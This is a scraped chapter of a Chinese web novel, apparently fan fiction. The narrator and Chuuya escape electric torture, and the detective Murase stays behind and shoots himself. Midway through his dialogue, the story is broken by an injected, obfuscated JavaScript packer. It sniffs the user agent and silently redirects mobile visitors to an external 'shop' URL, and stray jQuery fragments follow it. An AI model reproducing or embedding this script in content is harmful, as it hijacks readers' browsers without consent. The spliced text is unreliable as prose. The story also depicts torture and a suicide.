20.关于演出时的大失误(5.2)

作品:《我的爸爸在哪里

    有谁在悲鸣。


    异常痛苦,就像心脏被撕裂一样。我强撑着睁开双眼。


    自己被挂在铁丝网上,狰狞的铁丝穿过眉间、胸口和腹部。除了N开枪击中的这三个部位,铁丝还穿过了手腕。


    对疼痛早已麻痹,一片混沌中,我看见了蓝色的电流。


    然后,再次听到悲鸣。


    除了自己,还有第二个倒霉蛋。我看向发出声音的方向。


    是中也。


    那双充满生机的鸢色瞳孔里,布满了猩红的血丝。


    中也也发现了我。他的表情有一瞬间的呆滞,随后被巨大的疼痛淹没。


    愤怒的咆哮,似乎要将天花板震碎。


    但没有。中也的身体扭曲着,拼命挣扎,但效果微乎其微。最终也只是让手腕处的铁丝深入,流出血来。


    真的是,失策了啊。


    我无精打采得垂着头。


    假的,什么都是假的。刑警先生的关心、教诲与坦白,是假的。门口的四名警卫是假的。还有N冠冕堂皇的说辞、村濑树一的责备、甚至连兄弟二人之间的争吵。这些通通都是假的。


    我真的很讨厌村濑树一。


    现在也是,只不过加上了他的哥哥。


    眼前的大屏亮了起来,显现出一张可憎的面容。


    是N。


    他的身旁,是低着头,抚摸着弹-壳的村濑树一。


    “我说,你们两位。”N笑着,担忧地问道,“痛苦吗?”


    “......杀了你。”另一侧的中也低吼着向前。


    我抬头,咽下口中的鲜血,附和道,“杀了你。”


    “有些困难啊,衍生物小姐。”N看过来,“知道你有多宝贵吗?”


    我没说话,因为又看见了蓝色的电流,比上一次还要粗,还要快。


    中也已经陷入了昏迷。


    我盯着他一动不动的样子,有些麻木。


    “以-太催化剂,一种可以抑制异能的液体,明明已经失传许久,没想到竟再次出现。”N的声调上升了几个度,大屏上的表情也变得疯狂,“不在你的身上,衍生物小姐。而是在那个零号实验室里,正在陷入沉睡的产物身上。”


    “没有母亲不爱自己的孩子。”


    ——像是恶魔的低语。


    插进腰部的棒子开始转动,尖刺连着锁链,那里注入了新的电流。


    我咬唇。


    没有发出一点声音。


    “加大电压。”N对村濑树一说道,“提升至高档,打开零号实验室,投射在大屏上。”


    “但是心跳......”后者有些犹豫。


    “那就再注-射10ml镇-定-剂。”N命令道,“磨蹭什么?快去!”


    半途而废了啊。


    电流涌进来的瞬间,我这么想着。


    随后仰头,无意识地叫喊。


    高昂的分贝震裂了显示屏。


    然后,变故发生了。


    零号实验室里突然折射出巨大的白光,直直冲着N射去,后者来不及躲避,硬生生接下了这一击。


    “喂!哥哥,你没事吧?”村濑树一的声音里充满了担心。


    “眼睛,看不见了!”N大喊着,“这不重要,别管我!你现在加大电流,打开逮捕按钮!”


    一瞬间的寂静。


    随后,村濑树一张了张嘴,发出了蚊咛般的声音,“对不起,哥哥......”


    即便是这么细微的声音,也被N听得一清二楚。他大叫着抓住对方的裤腿,质问道,“你说什么?!”


    “我说,”村濑树一深吸一口气,声音陡然尖锐起来,“我说,对不起,哥哥!”


    然后,刑警先生按下了绿色按钮。


    束缚着我和中也的铁链,在这一刻,抽离了我们的身体。


    重获新生!


    我踉跄着奔向中也,把他背在背上。


    “跟我来!”一出门,胳膊被抓住,刑警先生焦急地看着我们,“这里警卫很多,跟着我跑!”


    “滚!我不要!谁知道你有没有在假惺惺!”我一把拍开他的手,崩溃喊道,“离我远点!我们能出去!亚当——亚当——你在哪里——”


    呐喊声在空气中消散,亚当没有出现,只引来了一群警卫。


    “亚当——亚当——唔......”


    大脑依旧很混乱,等我有力气思考的时候,才发现自己已经被村濑树一抱在了怀里,中也被扛在肩上。身手矫健的刑警先生用自己的身份卡打开了许多奇奇怪怪的密道,将身后一波又一波的警卫甩得远远的。


    我这才反应过来,原来他是真想带我们逃跑的。


    可这没有任何用处,我依旧恨他,并在心里暗自发誓。


    只要出去,只要出去的那一瞬间,我一定会亲手杀了这个骗子!


    设施内的地形很复杂。


    如果是往常的话,我一定觉得这些根本不算什么。可现在的我感觉很累,全身上下的骨头都在哀鸣。


    “清醒点,雪奈。”刑警先生低头看了我一眼,“不能晕,你出去不是还要杀了我吗?”


    “对啊,杀了你......”我撑起精神,开始扒拉中也,“喂,中也,快醒醒!”


    路途的颠簸加上我的晃动,让中也发出一声干呕。


    “就快到了。”村濑树一这么说着,一边打开最后一道金属门。随着“嘀”声响起,门轴发出久违的嘶鸣。


    我看清了门外的全貌,那里矗立着一座悬于高空的巨大平台。旁边是一架孤零零的货运电梯,铁链在风中隐隐作响。平台的尽头,是一整面落地玻璃窗,窗外连接着平地。


    而在玻璃的另一侧——亚当和白濑,就站在那里。


    “喂!他们来了!”白濑指着我们呐喊。亚当见状立刻打碎玻璃,翻身进来,顺着铁链落在电梯旁。


    “中也大人!雪奈小姐!”


    “在这里——”我有气无力地回答。


    然后落入一个冰冷的怀抱。


    “坚持住,我们马上就能出去了!”亚当打开电梯门,“还有,刑警先生,这里勉强可以挤下三个人......”


    “挤不下的。”村濑树一的声音很苦涩,他笑着摇头,“我这种家伙,是出不去的。”


    “说什么呢混蛋!”我拽着他的袖子,双眼通红,“想上演什么将功补过的戏码吗?”


    亚当快速将中也安放好,安静地望向这边。


    “真是糟糕啊,我这种人。”


    刑警先生一根根掰开我的手指,动作很轻,像是在做一件在寻常不过的事。他抚摸着那条项链,指腹擦过吊坠边缘。


    “我这种人,一次次利用你和中也的同情心,将你们的善良摁在地上,粉碎给你们看,害你们受了那么多的苦。”他笑了一声,“很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192771|196262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    讽刺吧?”


    “是啊,你简直就是个好坏的人,好坏的烂人。”我死死拽着他的手,声音堵在喉咙里,破碎成气音,“但你最后救了我们——救了我和中也,所以那些都不重要了,你快点上来——”


    “没用的,雪奈。”他低头看向我的手,眼神苦涩,像是在看一件必须放下的东西。


    “我总归要留在这里。这样那些警卫才不会受到太严重的惩罚,对吧?”


    “装什么好人呢你这家伙!”我大喊,“上来!”


    轰——


    前方的大门发出嘶鸣。N的声音穿过走廊,“喂!站住!你们这些家伙给我回来!”


    脚步声,密集的脚步声,还有枪械上膛的脆响。


    刑警先生抬头,看了那个方向一眼,又低头看我。他的眼睛很平静,像横滨深夜的海面,没有一丝波澜。


    “来不及了。”


    他苦笑着,将项链缠在我的手腕上。他的手指和吊坠很凉,凉得让我发抖。


    然后他开口了,像刮过海面的风。


    “如果我不死,这东西就无法再次认主,你的母亲,就再也出不来了。”


    “......什么?”我的大脑一片空白,下意识收紧手指去抓他。


    “所以不用管我。”他轻声说,“我这种人,不管是出去还是留下,都难逃一死。”


    然后他动了,先是甩开我的手,推了我一把,力道刚好让我后退一步,被亚当接住。


    然后,刑警先生的手指摁下了电梯键。


    门开始闭合。


    我扑上去,开始拍打电梯门。透过那道越来越窄的缝隙,我看见刑警先生站在那里,身后是汹涌而来的黑影。


    N。还有那些警卫。


    刑警先生就站在那里,胸口和肩头沾着血迹,头发凌乱,却站得笔直。


    他抬起头,看向我。


    隔着这道门,我看见他的嘴唇动了动。


    听不见声音,但我看懂了口型。


    他说——


    “下次再见。”


    然后他举起配枪。


    洞口抵住太阳穴,他的姿势很标准。我看见他的手指搭在扳机上,看见他的侧脸有一道阴影,看见他的嘴角还残留着那个苦笑。


    不是给任何人看的,只是他最后的表情。


    然后。


    “砰——”


    我的呐喊淹没在那里。


    枪响的瞬间,无数道火光同时亮起。


    叮叮当当——叮叮当当——


    这些子弹砸在电梯门上,像是狂风摇起风铃。


    在这片嘈杂之中,一个声音在我脑海里响了起来。


    是我许久未见的老妈。


    “小枝。”她的语气很平淡,像在喊我回家吃饭,“握紧手中的弹-壳。”


    我低头。


    这枚承载着村濑树一一生痛苦的弹-壳,在我手里发出铜黄色光泽。


    走廊里的人越来越小,也越来越模糊。最后缩成一个光点,消失在视野尽头。


    我以后再也不会用枪了。


    我这么想着,看向亚当。


    配备情感模组的计算机没有说一句话,只是拿起项链,将它挂在我的脖子上。


    然后。


    我再也忍不住了。


    在这叮叮咚咚的子弹声里,在这缓缓上升的黑暗里,我扑进亚当的怀里,失声痛哭。